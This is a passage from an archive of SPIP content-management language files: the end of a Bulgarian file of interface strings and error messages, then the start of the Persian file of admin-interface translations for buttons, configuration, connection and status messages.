'texte_inc_auth_1' => 'Вие се идентифицирате с потребителско име
<b>@auth_login@</b>, но то (вече) не съществува в базата данни.
Опитайте да', # MODIF
'texte_inc_auth_2' => 'повторно свързване',
'texte_inc_auth_3' => 'след като излезете
презаредете навигатора си, ако се налага.',
'texte_inc_config' => 'Промените, които са направени по-долу оказват изключително голямо влияние на работата на сайта. Съветваме Ви да не ги пипате, освен ако не сте добре запознати с работата на системата СПИП. <br /><br /><b>Силно Ви препоръчваме да оставите главния уеб администратор да работи с тази страница.</b>',
'texte_inc_meta_1' => 'Системата намери грешка при опит за запис във файла <code>@fichier@</code>. Като администратор на сайта, моля да направите ',
'texte_inc_meta_2' => 'проверка на позволенията за запис',
'texte_inc_meta_3' => 'на директорията <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'в процес на обработка',
'texte_statut_poubelle' => 'за изтриване',
'texte_statut_propose_evaluation' => 'чакаща оценка',
'texte_statut_publie' => 'публикувана на сайта',
'texte_statut_refuse' => 'отхвърлена',
'titre_ajouter_mot_cle' => 'ДОБАВЯНЕ НА КЛЮЧОВА ДУМА:',
'titre_cadre_raccourcis' => 'КОМАНДИ ЗА УСКОРЕН ДОСТЪП:',
'titre_changer_couleur_interface' => 'Смяна цвета на интерфейса',
'titre_image_admin_article' => 'Администриране на статията',
'titre_image_administrateur' => 'Администратор',
'titre_image_aide' => 'Помощник за тази част',
'titre_image_auteur_supprime' => 'Авторът е изтрит',
'titre_image_redacteur' => 'Редактор без достъп',
'titre_image_redacteur_02' => 'Редактор',
'titre_image_visiteur' => 'Посетител',
'titre_joindre_document' => 'ПРИЛАГАНЕ НА ДОКУМЕНТ',
'titre_mots_cles' => 'КЛЮЧОВИ ДУМИ',
'titre_probleme_technique' => 'Предупреждение: технически проблем (сървъра SQL) затруднява достъпа до тази част от сайта.<p>Благодарим за разбирането.',
'titre_publier_document' => 'ПУБЛИКУВАНЕ НА ДОКУМЕНТ В ТАЗИ РУБРИКА',
'titre_statistiques' => 'Страница на статистиката',
'titre_titre_document' => 'Наименование на документа:',
'trad_reference' => '(свързване на статия)', # MODIF
// Z
'zbug_balise_b_aval' => ': Таг "B" се явява прекалено къно в цикъла',
'zbug_boucle' => 'цикъл',
'zbug_boucle_recursive_undef' => 'неопределен рекурсивен цикъл', # MODIF
'zbug_champ_hors_boucle' => 'Полето @champ@ е извън цикъла',
'zbug_champ_hors_motif' => 'Полето @champ@ извън цикъла е с елемент @motif@', # MODIF
'zbug_code' => 'код',
'zbug_critere_inconnu' => 'непознат критерий @critere@', # MODIF
'zbug_distant_interdit' => 'забрана за външни данни', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: двойна дефиниция', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: липсва затварящ "таг" (<>)', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Неправилен синтакс на цикъл (BOUCLE)', # MODIF
'zbug_erreur_execution_page' => 'грешка при задаване на страницата', # MODIF
'zbug_erreur_filtre' => 'Грешка: неопределен филтър: <b>@filtre@</b>', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} се отнася само за циклите (FORUMS) и (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Грешка(и) в шаблона',
'zbug_info_erreur_squelette' => 'ُГрешка на сайта',
'zbug_inversion_ordre_inexistant' => 'обръщане в несъществуващ ред', # MODIF
'zbug_parametres_inclus_incorrects' => 'Погрешни параметри за включване', # MODIF
'zbug_resultat' => 'резултат',
'zbug_serveur_indefini' => 'неопределен сървър SQL', # MODIF
'zbug_table_inconnue' => 'Непозната таблица от типа SQL: "@table@"'
);
?>
ecrire_fa.php 0000666 00000266225 15252547432 0007226 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fa
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'plugin را فعال کنید',
'affichage' => 'ارايه',
'aide_non_disponible' => 'اين بخش كمكى براى اين زبان هنوز در دسترس نمى باشد',
'annuler_recherche' => 'لغو جستجو',
'auteur' => 'نویسنده:',
'avis_acces_interdit' => 'دسترسى به اين بخش ممنوع مى باشد',
'avis_article_modifie' => 'توجه ، @nom_auteur_modif@ روى اين مقاله @date_diff@ پيش كار ميكرده',
'avis_aucun_resultat' => '.بدون نتيجه',
'avis_base_inaccessible' => 'دسترسي به پايگاه دادههاي @base@ ممكن نيست. ',
'avis_chemin_invalide_1' => 'راهى كه انتخاب كرده ايد',
'avis_chemin_invalide_2' => 'معتبر نميباشد. خواهشمند است به صفحه پيشين برگرديد و اطلاعات داده شده را بازنگرى كنيد',
'avis_connexion_echec_1' => 'ارتباط با پايگاه دادهها برقرار نشد',
'avis_connexion_echec_2' => 'به صفحه پيشين برگرديد و اطلاعاتي را كه داده ايد بازنگرى كنيد',
'avis_connexion_echec_3' => 'براى تعدادى از سرورها شما بايد درخواست فعال كردن دسترسى به پايگاه ماى اس كيو ال را پيش از استفاده آن بكنيد. اگر ارتباط برقرار نشد مطمئن شويد كه اين كار را انجام داده ايد ',
'avis_connexion_erreur_nom_base' => 'نام پايگاه نميتواند چيزي جز حروف، ارقام و خط تيره باشد',
'avis_connexion_ldap_echec_1' => 'LDAP.ارتباط با سرور ال دى ا پى برقرار نشد ',
'avis_connexion_ldap_echec_2' => 'به صفحه پيش برگرديد و ببينيد اطلاعاتي را كه داده ايد صحيح ميباشند',
'avis_connexion_ldap_echec_3' => 'از سيستم ال دى ا پى به طور پى در پى براى ورود كاربران استفاده نكنيد',
'avis_deplacement_rubrique' => 'توجه ! اين بخش داراى@contient_breves@ brève@scb@ ميباشد : خواهشمند است درصورت جابجائي آن، علامت مربوطه را تائيد كنيد ',
'avis_destinataire_obligatoire' => 'شما بايد گيرنده را پيش از فرستادن پيام مشخص نماييد.',
'avis_erreur_connexion_mysql' => 'خطاى اتصال SQL ',
'avis_erreur_version_archive' => '<b>توجه ! فايل @archive@ با نسخه ديگرى غير از نسخه اسپيپ شما مطابقت ميكند. </b> :شما به مشكلات عمده اى برخورد خواهيد كرد : از بين رفتن داده پىها، اختلالات گوناگون در كار سايت، و غيره. درخواست واردات را a> تائيد نكنيد. براى اطلاعات بيشتر رجوع كنيد به <a>href="@spipnet@"> la documentation de SPIP</a>.',
'avis_espace_interdit' => '<b>بخش ممنوع</b><p> اسپيپ قبلأ نصب شده',
'avis_lecture_noms_bases_1' => ' برنامه نصبى نتوانست نام داده پى هاى مستقر شده را بخواند ',
'avis_lecture_noms_bases_2' => ' يا هيچ پايگاهى موجود نميباشد، يا كاركردى كه اجازه فهرست گذارى پايگاه ها راميدهد بدلايل ايمنى غير فعال شده است (مورد بعضى از ميزبانان ميباشد)',
'avis_lecture_noms_bases_3' => ' در گزينش دوم، اين احتمال وجود دارد كه پايگاهى كه حامل نام شما براى ارتباط ميباشد استفاده شده باشد',
'avis_non_acces_message' => 'اين پيام در دسترس شما نميباشد',
'avis_non_acces_page' => 'اين صفحه در دسترس شما نميباشد',
'avis_operation_echec' => 'کارکرد نتیجه نداد.',
'avis_operation_impossible' => 'عمل غیرممکن',
'avis_probleme_archive' => '@archive@ اشكال در خواندن فايل',
'avis_suppression_base' => ' توجه! حذف داده ها غير قابل برگشت ميباشد',
'avis_version_mysql' => 'اس.كيو.ال سرور شما (@version_mysql@) به جدولهاي دادهها اجازهي خود-ترميمي را نميدهد.',
// B
'bouton_acces_ldap' => 'دسترسى به LDAP را اضافه كنيد',
'bouton_ajouter' => 'اضافه كنيد',
'bouton_ajouter_participant' => ': يك شركت كننده اضافه كنيد',
'bouton_annonce' => 'خبر',
'bouton_annuler' => 'باطل کنید',
'bouton_checkbox_envoi_message' => 'امكان فرستادن پيام',
'bouton_checkbox_indiquer_site' => 'يك سايت تارنما را الزامأ مشخص كنيد',
'bouton_checkbox_signature_unique_email' => 'تنها يك امضاء براى هر آدرس الكترونيكى',
'bouton_checkbox_signature_unique_site' => 'تنها يك امضاء براى هر سايت تارنما',
'bouton_demande_publication' => 'انتشار اين مقاله را درخواست كنيد ',
'bouton_desactive_tout' => 'همه را غیر فعال کنید',
'bouton_desinstaller' => 'حذف کنید',
'bouton_effacer_index' => 'فهرست را پاك كنيد',
'bouton_effacer_tout' => 'همه را پاك كنيد',
'bouton_envoi_message_02' => 'يك پيام بفرستيد',
'bouton_envoyer_message' => 'پيام آماده : بفرستيد',
'bouton_fermer' => 'بستن',
'bouton_mettre_a_jour_base' => 'به هنگام سازي پايگاه دادهها',
'bouton_modifier' => 'اصلاح كنيد',
'bouton_pense_bete' => 'يادداشت براى استفاده شخصى',
'bouton_radio_activer_messagerie' => 'پيام گير داخلى را فعال كنيد',
'bouton_radio_activer_messagerie_interne' => 'پيام گير داخلى را فعال كنيد',
'bouton_radio_activer_petition' => 'درخواست را فعال كنيد',
'bouton_radio_afficher' => 'نشان دهيد',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'در فهرست نويسندگانى كه به اسپيپ وصل هستند ظاهر شود',
'bouton_radio_desactiver_messagerie' => 'پپام گير را غير فعال كنيد',
'bouton_radio_envoi_annonces_adresse' => ':خبرها را به اين آدرس بفرستيد',
'bouton_radio_envoi_liste_nouveautes' => 'فهرست تازه ها را بفرستيد:',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'در فهرست نويسندها نمايان نشود',
'bouton_radio_non_envoi_annonces_editoriales' => 'خبرهاى مربوط به سر مقاله ها را نفرستيد',
'bouton_radio_pas_petition' => 'بدون درخواست',
'bouton_radio_petition_activee' => 'درخواست، فعال شده',
'bouton_radio_supprimer_petition' => 'حذف درخواست',
'bouton_redirection' => 'هدايت دوباره',
'bouton_relancer_installation' => 'دوباره نصب كنيد',
'bouton_suivant' => 'بعدى',
'bouton_tenter_recuperation' => 'اقدام به تعمير كنيد',
'bouton_test_proxy' => 'پروكسى را امتحان كنيد',
'bouton_vider_cache' => 'فايل موقت را خالى كنيد',
'bouton_voir_message' => 'اين پيام را پيش از معتبر كردن بخوانيد',
// C
'cache_mode_compresse' => 'فايلهاى پنهان بصورت فشرده ذخيره شده اند.',
'cache_mode_non_compresse' => 'اين فايلهاى پنهان بصورت فشرده ذخيره نشده اند.',
'cache_modifiable_webmestre' => 'اين پارامترها توسط وب مستر سايت ميتواند اصلاح شود.',
'calendrier_synchro' => ' درصورت استفاده از نرم افزارهاى روزشمار ويژه<b>iCal</b>, ميتوانيد آنرا با مطالب اين سايت منطبق كنيد',
'config_activer_champs' => 'بخشهای زیر را فعال کنید',
'config_choix_base_sup' => 'يك پايگاه روي اين سرور تعيين كنيد',
'config_erreur_base_sup' => 'اسپيپ به فهرست پايگاههاي قابل دسترس دسترسي ندارد',
'config_info_base_sup' => 'اگر شما پايگاه دادههاي ديگري براي امتحان از طريق اسپيپ داريد، با سرور اس.كيو.ال يا غير آن، بگذاريد كه آنها آشكار شوند. اگر بعضي از ميدانها را خالي بگذاريد، شناسههاي ارتباط با پايگاه اصلي مورد استفاده قرار خواهند گرفت. ',
'config_info_base_sup_disponibles' => 'پايگاههاي مكمل اكنون جستجوپذير اند',
'config_info_enregistree' => 'پيكربندي جديد ثبت شده',
'config_info_logos' => 'هر قسمت سایت میتواند یک لوگو logo و یک لوگوی survol داشته باشد',
'config_info_logos_utiliser' => 'از لوگوها استفاده کنید',
'config_info_logos_utiliser_non' => 'از لوگوها استفاده نکنید',
'config_info_logos_utiliser_survol' => 'از لوگوهای survol استفاده کنید',
'config_info_logos_utiliser_survol_non' => 'از لوگوهای survol استفاده نکنید',
'config_info_redirection' => 'با فعال کردن این گزینش شما میتوانید مقالات مجازی درست کنید و یا مراجع مقالات منتشر شده در دیگر سایتها را بدهید',
'config_redirection' => 'مقالات مجازی',
'config_titre_base_sup' => 'اعلام يك پايگاه مكمل',
'config_titre_base_sup_choix' => 'يك پايگاه مكمل انتخاب كنيد',
'connexion_ldap' => 'ارتباط',
'copier_en_local' => 'در local کپی کنید',
'creer_et_associer_un_auteur' => 'ايجاد و اتصال نويسنده',
'creer_et_associer_une_rubrique' => 'يك بخش ايجاد و وصل كنيد',
// D
'date_mot_heures' => 'ساعت',
// E
'ecran_securite' => '+ نمايشگر ايمني @version@',
'email' => 'ايميل',
'email_2' => ': ايميل ',
'en_savoir_plus' => 'براي آگاهي بيشتر ',
'entree_adresse_annuaire' => 'آدرس راهنما',
'entree_adresse_email' => 'آدرس ايميل شما ',
'entree_adresse_email_2' => 'نشاني ايميل ',
'entree_base_donnee_1' => 'آدرس داده پى ها',
'entree_base_donnee_2' => 'اغلب, اين آدرس با آدرس سايتتون مطابقت ميكند گاهى با گزينش «localhost» مطابقت و گاهى كاملأ خاليست)',
'entree_biographie' => 'زندگينامه كوتاه در چند كلمه',
'entree_chemin_acces' => ' راه ورود </b> وارد شويد <b>',
'entree_cle_pgp' => 'PGP كليد شما ',
'entree_cle_pgp_2' => 'كليد پي.چي.پي',
'entree_contenu_rubrique' => '(محتوى اين بخش در چند كلمه)',
'entree_identifiants_connexion' => 'كلمه شناسائى براى متصل شدن',
'entree_identifiants_connexion_2' => 'شناسهي ارتباط',
'entree_informations_connexion_ldap' => 'LDAP خواهشمند است، اطلاعات مربوط به ارتباط به راهنماى ال دى ا پى را در اين پرسشنامه وارد كنيد.
اين ااطلاعات ميبايد توسط گرداننده سيستم
يا شبكه به شما داده شود',
'entree_infos_perso' => ' كى هستيد؟',
'entree_infos_perso_2' => 'نويسنده كيست؟',
'entree_interieur_rubrique' => ': در داخل اين بخش',
'entree_liens_sites' => '<b>ارتباط hypertexte</b> (.مراجع , سايت هايي براى بازديد )',
'entree_login' => 'شما login',
'entree_login_connexion_1' => 'ارتباط login',
'entree_login_connexion_2' => '(مطابقت ميكند، گاهى خالى گذاشته شده FTPورود به login گاهى با) ',
'entree_login_ldap' => 'نخستين Login LDAP',
'entree_mot_passe' => 'كلمه ورودتان',
'entree_mot_passe_1' => '(كلمه ورود براى ارتباط (كنكشن',
'entree_mot_passe_2' => '(مطابقت ميكند، گاهى خالى گذاشته شده FTP گاهى با كلمه ورود ) ',
'entree_nom_fichier' => '@texte_compresse@:خواهشمند است نام فايل را داخل بنمائيد',
'entree_nom_pseudo' => 'نام يا نام مستعارتان',
'entree_nom_pseudo_1' => '(نام يا نام مستعارتان)',
'entree_nom_pseudo_2' => 'نام يا نام مستعار',
'entree_nom_site' => 'نام سايتتان',
'entree_nom_site_2' => 'نام سايت نويسنده',
'entree_nouveau_passe' => 'كلمه ورود جديد',
'entree_passe_ldap' => 'كلمه ورود',
'entree_port_annuaire' => 'شماره وردى راهنما',
'entree_signature' => 'امضاء',
'entree_titre_obligatoire' => '</b>عنوان<b> [اجبارى]<br />',
'entree_url' => '(URL) آدرس سايتتان',
'entree_url_2' => 'آدرس (يو.آر.ال) سايت',
'erreur_connect_deja_existant' => 'سروري به نام موجود است',
'erreur_nom_connect_incorrect' => 'نام سرور مجاز نيست',
'erreur_plugin_desinstalation_echouee' => 'پلاگين نصب زدايي نشد. با اين وجود ميتوانيد آن را غيرفعال سازيد.', # MODIF
'erreur_plugin_fichier_absent' => 'فایل موجود نیست',
'erreur_plugin_fichier_def_absent' => 'فایل معیار موجود نیست',
'erreur_plugin_nom_fonction_interdit' => 'نام تابع مجاز نمیباشد',
'erreur_plugin_nom_manquant' => 'نام plugin یافت نمیشود',
'erreur_plugin_prefix_manquant' => 'بخش نامگذاری plugin کامل نمیباشد',
'erreur_plugin_tag_plugin_absent' => '<plugin> در فایل توضیحی موجود نمیباشد',
'erreur_plugin_version_manquant' => 'نسخه ی plugin موجود نمیباشد',
// H
'htaccess_a_simuler' => 'هشدار: پيكربندي HTTP سرور شما پروندههاي @htaccess@ را ناديده ميگيرد. براي تضمين امنيت كافي، بايد پيكربندي اين را عضو كنيد. يا مطمئن شويد ثابتهاي @constantes@ (تعريف شده در پروندهي mes_options.ph) همان مقدار خارج از ديركتوار @document_root@ را دارد. ',
'htaccess_inoperant' => 'htaccess بياثر',
// I
'ical_info1' => 'اين صفحه شيوه هاى گوناگونى را براى آگاهى از مسايل روزانه سايت معرفى ميكند.',
'ical_info2' => 'براى آگاهى بيشتر از جزييات فنى به, <a href="@spipnet@">اسناد اسپيپ </a> مراجعه كنيد.',
'ical_info_calendrier' => '٢ روزشمار در دسترس شما ميباشد. روزشمار اول وضعيت سايت را همراه با خبرهاى مربوط به مقالات منتشره نشان ميدهد. روزشمار دوم حاوى مقالات تحريريه و آخرين پيامهاى خصوصى شما كه بواسطه يك كد شخصى تنها در درسترس شما ميباشد است. شما ميتوانيد آنرا در هر زمانى كه مايل باشيد تغيير دهيد. ',
'ical_methode_http' => 'بارگذارى',
'ical_methode_webcal' => 'مقارن كردن (webcal://)',
'ical_texte_js' => 'يك برنامه جاوا اسكريپت بشما امكان اعلان مقالات تازه منتشر شده در اين سايت را در سايتهاى ديگر ميدهد.',
'ical_texte_prive' => 'اين روزشمار شما را در جريان فعاليتهاى تحريريه ويژه سايت ميگذارد (كار, ملاقات هاى شخصى, مقالات ...). ',
'ical_texte_public' => 'اين روزشمار بشما امكان پيگيرى فعاليت هاى همگانى سايت را ميدهد (مقالات,...). ',
'ical_texte_rss' => ' شما ميتوانيد تازه هاى اين سايت را با فايلهاى XML/RSS (Rich Site Summary) بديگر سايتها پيوند دهيد.همچنين اين نوع فايل به اسپيپ امكان خواندن تازه هاى ديگر سايتها را ميدهد.',
'ical_titre_js' => 'جاوا اسكريپت',
'ical_titre_mailing' => 'ليست ايميلها',
'ical_titre_rss' => ' فايل syndication',
'icone_accueil' => 'خانه',
'icone_activer_cookie' => 'كوكى مكاتبه را فعال كنيد',
'icone_activite' => 'بازخورد',
'icone_admin_plugin' => 'اداره ی plugins',
'icone_administration' => 'نگهداري',
'icone_afficher_auteurs' => 'فهرست نويسند گان را بروى صفحه نشان دهيد ',
'icone_afficher_visiteurs' => ' فهرست بازديدكنند گان را بروى صفحه نشان دهيد ',
'icone_arret_discussion' => 'ديگر در اين بحث شركت نكنيد',
'icone_calendrier' => 'تقويم',
'icone_configuration' => 'پيكربندي',
'icone_creer_auteur' => 'يك نويسنده جديد اضافه و به اين مقاله مرتبطش كنيد',
'icone_creer_mot_cle' => 'يك كليد-واژه نو بسازيد و به اين مقاله مرتبطش كنيد',
'icone_creer_mot_cle_rubrique' => 'ساختن كليدواژه جديد و چسباندن آن به اين بخش',
'icone_creer_mot_cle_site' => 'ساختن كليدواژهي جديد و چسباندن آن به اين سايت',
'icone_creer_rubrique_2' => 'يك بخش جديد بسازيد',
'icone_edition' => 'ويرايش',
'icone_envoyer_message' => 'اين پيام را بفرستيد',
'icone_ma_langue' => 'زبان من',
'icone_mes_infos' => 'اطلاعات من',
'icone_mes_preferences' => 'ترجيحهاي من',
'icone_modifier_article' => 'اين مقاله را اصلاح كنيد',
'icone_modifier_message' => 'اين پيام را اصلاح كنيد',
'icone_modifier_rubrique' => 'اين بخش را اصلاح كنيد',
'icone_publication' => 'انتشار',
'icone_relancer_signataire' => 'بازنشر امضاء',
'icone_retour' => 'بازگشت',
'icone_retour_article' => 'بازگشت به مقاله',
'icone_squelette' => 'اسكلت',
'icone_suivi_publication' => 'پيگيري انتشارات',
'icone_supprimer_cookie' => 'كوكى مكاتبه را حذف كنيد',
'icone_supprimer_rubrique' => 'اين بخش را حذف كنيد',
'icone_supprimer_signature' => 'اين امضاء را حذف كنيد',
'icone_valider_signature' => 'اين امضاء را معتبر كنيد',
'image_administrer_rubrique' => 'شما ميتوانيد اين بخش را اداره كنيد',
'impossible_modifier_login_auteur' => 'تغيير لاگين ممكن نيست.',
'impossible_modifier_pass_auteur' => 'تغيير گذرواژه ممكن نيست.',
'info_1_article' => '١ مقاله',
'info_1_article_syndique' => 'مقالهي اشتراكي 1',
'info_1_auteur' => 'نويسندهي 1',
'info_1_message' => 'پيام 1',
'info_1_mot_cle' => 'كليدواژهي 1',
'info_1_rubrique' => 'بخش 1',
'info_1_site' => '١ سايت',
'info_1_visiteur' => 'بازديدكنندهي 1',
'info_activer_cookie' => ' شما ميتوانيد كوكى مكاتبه را فعال نماپيد اينكار به شما اجازه خواهد داد كه براحتى از سايت همگانى به سايت خصوصى برويد',
'info_admin_etre_webmestre' => 'دادن حق وب مستر به من',
'info_admin_gere_rubriques' => ':اين گرداننده سايت بخشهاى زير را اداره ميكند',
'info_admin_gere_toutes_rubriques' => 'اين گرداننده سايت <b> تمام بخشها را اداره ميكند</b>.',
'info_admin_gere_toutes_rubriques_2' => 'من <b> تمام بخشها را اداره ميكنم</b>',
'info_admin_je_suis_webmestre' => 'من <b>webmestre</b> هستم',
'info_admin_statuer_webmestre' => 'تفويض حق وب مستري به اين مدير',
'info_admin_webmestre' => 'اين مدير <b>webmestre</b> است',
'info_administrateur' => 'گردانند سايت',
'info_administrateur_1' => 'گرداننده ',
'info_administrateur_2' => '(<i>با احتياط استفاده كنيد </i>) سايت ',
'info_administrateur_site_01' => 'اگر شما از گردانند گان سايت هستيد، خواهشمند است',
'info_administrateur_site_02' => 'روى اين پيوند كليك كنيد',
'info_administrateurs' => 'گردانند گان سايت',
'info_administrer_rubrique' => 'شما ميتوانيد اين بخش را اداره كنيد',
'info_adresse' => ': به آدرس',
'info_adresse_url' => '(URL) آدرس سايت همگانى ',
'info_afficher_par_nb' => 'نشان دادن با',
'info_afficher_visites' => ' فهرست بازديدها را نمايش دهيد:',
'info_aide_en_ligne' => 'SPIP كمك در تارنما',
'info_ajout_image' => ' هنگامى كه تصاويرى را ضميمه مقاله اى ميكنيد، اسپيپ ميتواند بطور خودكار آنها را بصورت كوچك شده اضافه كند. با اين روش ميتوان براى مثال نمايى از مجموع تصاوير را بطور خودكار درست كرد ',
'info_ajout_participant' => ': شركت كننده بعدى اضافه شده',
'info_ajouter_rubrique' => 'يك بخش ديگر را براى اداه كردن اضافه كنيد',
'info_annonce_nouveautes' => 'خبر تازه ها',
'info_anterieur' => 'پيشين',
'info_article' => 'مقاله',
'info_article_2' => 'مقاله',
'info_article_a_paraitre' => 'مقالات با تاريخ آينده منتشر شوند',
'info_articles_02' => 'مقالات',
'info_articles_2' => 'مقالات',
'info_articles_auteur' => 'مقالات اين نويسنده',
'info_articles_miens' => 'مقالات من',
'info_articles_tous' => 'تمام مقالهها',
'info_articles_trouves' => 'مقالات پيدا شده',
'info_articles_trouves_dans_texte' => ' ( مقالات پيدا شده ( درون متن',
'info_attente_validation' => 'مقاله هايتان در انتظار تأئيد شدن',
'info_aucun_article' => 'مقالهاي نيست',
'info_aucun_article_syndique' => 'هيچ مقالهي به اشتراكگذاشته شدهاي وجود ندارد',
'info_aucun_auteur' => 'هيچ مؤلفي موجود نيست',
'info_aucun_message' => 'هيچ پيامي موجود نيست',
'info_aucun_rubrique' => 'هيچ بخش',
'info_aucun_site' => 'هيچ سايتي موجود نيست',
'info_aucun_visiteur' => 'هيچ بازديدكنندهاي موجود نيست',
'info_aujourdhui' => ': امروز',
'info_auteur_message' => ':نويسنده پيام ',
'info_auteurs' => 'نويسندگان ',
'info_auteurs_par_tri' => '@partri@ نويسنده گان',
'info_auteurs_trouves' => 'نويسنده گان پيدا شده ',
'info_authentification_externe' => 'تأئيد از خارج',
'info_avertissement' => 'تذكر',
'info_barre_outils' => 'با ميل ابزار آن؟',
'info_base_installee' => '.ساختار داده پى هايتان نصب شده',
'info_bio' => 'زندگينامه',
'info_chapeau' => 'سر متن',
'info_chapeau_2' => ':سر متن',
'info_chemin_acces_1' => 'گزینش: <b>مسير ورود به راهنما</b>',
'info_chemin_acces_2' => 'شما بايد پس از اين مسير دسترسى به اطلاعات را در راهنما تنظيم كنيد. اين اطلاعات براى شناسائى كاربرانى كه در راهنما هستند ضرورى ميباشد',
'info_chemin_acces_annuaire' => 'گزینش : <b>مسير ورود به راهنما',
'info_choix_base' => ': سومين مرحله',
'info_classement_1' => '<sup>ين</sup>در @liste@',
'info_classement_2' => '<sup>ين</sup>در@liste@',
'info_code_acces' => '! كد ها ى وردي تان را فراموش نكنيد',
'info_compatibilite_html' => 'نرم اچ.تي.ام.ال براي پيگيري ',
'info_compresseur_gzip' => 'توصيه ميشود ابتدا ببينيد كه ارايه دهنده خدمات نويسههاي پي.اچ.پي را به صورت سيستماتيك فشرده ميكند يا نه. براي اين كار ميتوايد به عنوان نمونه از خدمات : @testgzip@ استفاده كنيد.',
'info_compresseur_texte' => 'اگر سرور شما صفحههاي اچ.تي.ام.ال را براي ارسال به اينترانت (internautes) به صورت خودكار فشرده نميسازد، ميتوانيد براي كم كردن بار صفحههاي بارگذاري شده اينكار را انجام دهيد. <b>توجه</b>: اين امر ميتواند بعضي سرورها را به نحو قابل توجه كند كند.',
'info_config_suivi' => 'اگر اين آدرس به فهرست ايميل ها mailing-list مربوط ميشود, ميتوانيد در زير آدرسى را كه شركت كنندگان سايت ميتوانند در آن ثبت نام كنند را مشخص كنيد. اين آدرس ميتواند يك URL( مانند صفحه ثبت نام در فهرست) و يا ميتواند بدين صورت باشد : <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => ' شما ميتوانيد بطور خودكار بوسيله ايميل خبرهاى مربوط به فعاليت تحريريه سايت را دريافت كنيد. براى اين منظور شما بايد در فهرست ايميلها mailing-list ثبت نام كنيد.',
'info_confirmer_passe' => ':كلمه ورودى جديدتان را تأئيد كنيد',
'info_conflit_edition_avis_non_sauvegarde' => 'توجه: ميدانهاي بعدي از جاهاي ديگر اصلاح شده است. در نتيجه اصلاحات شما ثبت نشده است. ',
'info_conflit_edition_differences' => 'تفاوتها:',
'info_conflit_edition_version_enregistree' => 'نسخه ثبت شده:',
'info_conflit_edition_votre_version' => 'نسخه شما:',
'info_connexion_base' => '<b>آزمايش ارتباط با پايگاه</b>',
'info_connexion_base_donnee' => 'اتصال با پايگاه دادههاي شما',
'info_connexion_ldap_ok' => 'ارتباط LDAP برقرار شد .</b><p>ميتوانيد به مرحله بعدى برويد. ', # MODIF
'info_connexion_mysql' => 'ارتباط شما با SQL',
'info_connexion_ok' => '.ارتباط برقرار شد',
'info_contact' => 'تماس',
'info_contenu_articles' => 'محتوى مقاله ها',
'info_contributions' => 'مشاركتها',
'info_creation_paragraphe' => 'براى درست كردن پاراگراف، كافيست كه خط خالى ايجاد كنيد.',
'info_creation_rubrique' => 'پيش از نوشتن مقاله ,<br />شما بايد دست كم يك بخش درست كنيد <br />',
'info_creation_tables' => '<b>درست كردن جداول پايگاه</b>',
'info_creer_base' => 'يك داده پى جديد <b>بسازيد</b>:',
'info_dans_rubrique' => ':درون بخش',
'info_date_publication_anterieure' => 'تاريخ نگارش قبلى :',
'info_date_referencement' => ': تاريخ پيوند اين سايت',
'info_derniere_etape' => 'پايان !',
'info_derniers_articles_publies' => 'آخرين مقاله هاى منتشر شده شما در اينترنت',
'info_desactiver_messagerie_personnelle' => 'شما ميتوانيد پيامگير شخصى تان را روى اين سايت فعال يا غير فعال كنيد',
'info_descriptif' => ':توصيف',
'info_desinstaller_plugin' => 'داده ها را حذف و plugin را غیر فعال کنید',
'info_discussion_cours' => 'در حال بحث',
'info_ecrire_article' => 'پيش از نوشتن مقاله، شما ميبايد دست كم يك بخش درست كنيد.',
'info_email_envoi' => 'آدرس ايميل برای ارسال (اختياری)',
'info_email_envoi_txt' => 'آدرس مورد استفاده تان را برای ارسال ايميل در اينجا درج کنيد (وگرنه از آدرس گيرنده استفاده خواهد شد)',
'info_email_webmestre' => 'آدرس ايميل وب مستر ',
'info_entrer_code_alphabet' => ': كد الفباى مورد استفاده تان را وارد كنيد',
'info_envoi_email_automatique' => 'ارسال نامه ها بطور خودكار',
'info_envoyer_maintenant' => 'الان بفرستيد',
'info_etape_suivante' => 'به مرحله بعدى برويد',
'info_etape_suivante_1' => 'شما ميتوانيد به مرحله بعدى برويد',
'info_etape_suivante_2' => 'شما ميتوانيد به مرحله بعدى برويد',
'info_exceptions_proxy' => 'استثناءها براي پراكسي',
'info_exportation_base' => 'صدور پايگاه به@archive@',
'info_facilite_suivi_activite' => 'براى آسان شدن مداوم فعاليت تحريريه، سيستم ميتواند براى مثال، خبر درخواستهاى انتشار و اعتبار مقالات را به فهرست پيكهاى نويسند گان بفرستد',
'info_fichiers_authent' => 'فايل هاى تأئيدى« .htpasswd »',
'info_forums_abo_invites' => 'سايتتان داراى سخنگاه براى مشتركين ميباشد: از بازديد كنندگان دعوت ميشود كه در قسمت همگانى سايت ثبت نام كنند.',
'info_gauche_admin_effacer' => '<b>اين صفحه فقط براى مسئولان سايت قابل دسترسى ميباشد.</b><p> ورود به آن اجازه دسترسى به كاركرهاى گوناگون تعمير و نگهدارى فنى را ميدهد. از جمله روند باز شناسى و تأئيد ويژه اى كه لازمه اش داشتن حق ورود به تارنما است (FTP)',
'info_gauche_admin_tech' => '<b>اين صفحه فقط براى مسئولان سايت قابل دسترسى ميباشد.</b><p> ورود به آن اجازه دسترسى به كاركردهاى گوناگون تعمير ونگهدارى فنى را ميدهد. از جمله روند باز شناسى و تأئيد ويژه اى كه لازمه اش داشتن حق ورود به تارنما است (FTP)',
'info_gauche_admin_vider' => '<b>اين صفحه فقط براى مسئولان سايت قابل دسترسى ميباشد.</b><p> ورود به آن اجازه دسترسى به كاركرهاى گوناگون تعمير ونگهداى فنى را ميدهد. از جمله روند باز شناسى و تأئيد ويژه اى كه لازمه اش داشتن حق ورود به تارنما است (FTP)',
'info_gauche_auteurs' => 'شما نام تمام نگارند گان را در اينجا خواهيد يافت. نوع مسئوليتشان با رنگهاى ايكونها مشخص شده است (نگارنده=آيكون سبز، گردانند سايت=آيكون زرد )',
